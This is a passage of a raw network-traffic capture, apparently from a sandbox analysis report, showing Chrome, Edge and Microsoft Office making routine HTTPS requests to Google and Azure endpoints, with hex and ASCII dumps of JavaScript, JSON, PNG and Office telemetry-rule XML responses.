2024-10-30 14:59:13 UTC	1378	IN	Data Raw: 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 68 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 57 64 28 5c 22 Data Ascii: is.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.hh\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\"),Wd(\"
2024-10-30 14:59:13 UTC	1378	IN	Data Raw: 61 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 33 64 66 75 6e 63 74 69 Data Ascii: a};_.oe\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.pe\u003dfuncti
2024-10-30 14:59:13 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 7a 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 7a 65 5b 64 5d 2c 63 29 3a 5f 2e 75 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 75 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 Data Ascii: function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:ze.hasOwnProperty(d)?a.setAttribute(ze[d],c):_.ue(d,\"aria-\")\|\|_.ue(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})
2024-10-30 14:59:13 UTC	1378	IN	Data Raw: 6c 65 6d 65 6e 74 28 62 29 7d 3b 5f 2e 47 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 62 3b 62 5c 75 30 30 33 64 61 2e 66 69 72 73 74 43 68 69 6c 64 3b 29 61 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 62 29 7d 3b 5f 2e 48 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 32 36 5c 75 30 30 32 36 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3f 61 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 61 29 3a 6e 75 6c 6c 7d 3b 5f 2e 49 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 32 36 5c 75 30 30 32 36 62 3f 61 5c 75 30 30 33 64 5c 75 30 30 33 64 62 7c 7c 61 2e 63 6f 6e 74 61 69 6e 73 28 62 29 3a 21 31 7d 3b 5f 2e 77 65 Data Ascii: lement(b)};_.Ge\u003dfunction(a){for(var b;b\u003da.firstChild;)a.removeChild(b)};_.He\u003dfunction(a){return a\u0026\u0026a.parentNode?a.parentNode.removeChild(a):null};_.Ie\u003dfunction(a,b){return a\u0026\u0026b?a\u003d\u003db\|\|a.contains(b):!1};_.we

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49751	142.250.186.68	443	7228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:13 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 14:59:13 UTC	957	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 30 Oct 2024 14:59:13 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-30 14:59:13 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-30 14:59:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:13 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:14 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:13 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: cd3f31c5-e01e-0033-6a5a-274695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145913Z-r197bdfb6b4xfp4mncra29rqkc00000001hg00000000n6kb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:14 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />
2024-10-30 14:59:36 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 14:59:37 UTC	516	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:37 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 1897c46b-001e-0067-70dc-2adba0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T145936Z-15b8d89586fvk4kmbg8pf84y88000000092g00000000bgnb Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-30 14:59:37 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:13 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:14 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:13 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 6856914c-401e-0029-0667-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145913Z-16849878b78tg5n42kspfr0x48000000088g000000005ptv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:14 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:13 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:14 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:13 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5e4053db-f01e-0052-6472-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145913Z-16849878b786lft2mu9uftf3y400000009bg00000000rbhy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:14 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:13 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:14 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:14 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: c9fe3c14-601e-0050-50d7-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145914Z-15b8d89586fmhkw429ba5n22m800000009hg00000000g10f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:14 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"
2024-10-30 14:59:36 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:36 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:36 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 7b68ac53-d01e-0082-7e67-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145936Z-16849878b7898p5f6vryaqvp58000000091g00000000a9df x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:36 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:14 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:14 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:14 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 5e2f3c3f-901e-0048-1b49-28b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145914Z-r197bdfb6b46kmj4701qkq602400000007e0000000001898 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:14 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S
2024-10-30 14:59:36 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:37 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:37 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 80bd6f28-d01e-002b-3d65-2725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145937Z-17c5cb586f659tsm88uwcmn6s400000000pg00000000bbbw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:37 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:14 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:14 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:14 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a96fbf53-401e-0016-5d5d-2653e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145914Z-16849878b78qf2gleqhwczd21s000000089g00000000ryy8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
